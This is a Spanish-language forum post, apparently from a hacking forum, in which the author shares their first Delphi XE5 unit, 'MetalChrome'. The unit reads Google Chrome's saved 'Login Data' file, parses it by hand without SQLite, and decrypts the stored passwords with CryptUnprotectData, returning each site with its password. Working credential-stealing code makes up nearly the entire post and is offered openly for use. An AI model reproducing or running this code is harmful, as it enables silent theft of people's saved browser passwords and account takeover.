Es un método que no me gusta porque para que funcione correctamente deben estar los campos del Login Data rellenados tal y como lo solicita la propia función.
http://hackhound.org/forums/index.phpips_usernameUSUARIOips_password=PASSWORD
http://[Enlace externo eliminado para invitados]vb_login_password=PASSWORD
Pros: No necesita SQLite.
Contras: Puede fallar.
Es mi primerita Unit con Delphi XE5
unit MetalChrome;
interface
uses
Winapi.Windows, Winapi.shlobj;
function mGetChromePass: AnsiString;
implementation
type
TDATA_BLOB = record
cbData: DWORD;
pbData: PByte;
end;
PDATA_BLOB = ^TDATA_BLOB;
TCRYPTPROTECT_PROMPTSTRUCT = record
cbSize: DWORD;
dwPromptFlags: DWORD;
hwndApp: HWND;
szPrompt: PansiChar;
end;
PCRYPTPROTECT_PROMPTSTRUCT = ^TCRYPTPROTECT_PROMPTSTRUCT;
function CryptUnprotectData(pDataIn: PDATA_BLOB; szDataDescr: PWChar;
pOptionalEntropy: PDATA_BLOB; pvReserved: Pointer;
pPromptStruct: PCRYPTPROTECT_PROMPTSTRUCT; dwFlags: DWORD;
pDataOut: PDATA_BLOB): BOOL; stdcall; external 'Crypt32.dll';
Function mFileToStr(Ruta: AnsiString): AnsiString;
var
sFile: HFile;
uBytes: Cardinal;
begin
sFile := _lopen(PansiChar(Ruta), OF_READ);
uBytes := GetFileSize(sFile, nil);
SetLength(Result, uBytes);
_lread(sFile, @Result[1], uBytes);
_lclose(sFile);
end;
function mGetChromePass: AnsiString;
var
Src, Dst: TDATA_BLOB;
DB, Pass, Web: AnsiString;
LAppData: array [0 .. Max_Path] of Char;
const
CRYPTPROTECT_LOCAL_MACHINE = 4;
begin
ShGetSpecialFolderPath(0, LAppData, CSIDL_LOCAL_APPDATA, False);
DB := mFileToStr(LAppData + '\Google\Chrome\User Data\Default\Login Data');
DB := Copy(DB, pos('http', DB), Length(DB) - pos('http', DB) + 1);
DB := Copy(DB, 1, pos(#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0, DB) - 1);
repeat
Delete(DB, 1, 1);
Delete(DB, 1, pos('http', DB) - 1);
Web := Copy(DB, 1, pos(Char($01), DB) - 1);
Delete(DB, 1, pos(Char($01), DB) - 1);
Pass := Copy(DB, 1, pos('http', DB) - 1);
Delete(DB, 1, pos('http', DB) - 1);
Src.cbData := Length(Pass);
Src.pbData := PByte(Pass);
if CryptUnprotectData(@Src, nil, nil, nil, nil, CRYPTPROTECT_LOCAL_MACHINE,
@Dst) then
SetString(Pass, PansiChar(Dst.pbData), Dst.cbData);
if Web[1] = 'h' then
Result := Result + #13#10 + Web + '=' + Pass;
Delete(DB, 1, 1);
Delete(DB, 1, pos('http', DB) - 1);
until pos('http', DB) = 0;
end;
end.
Saludos.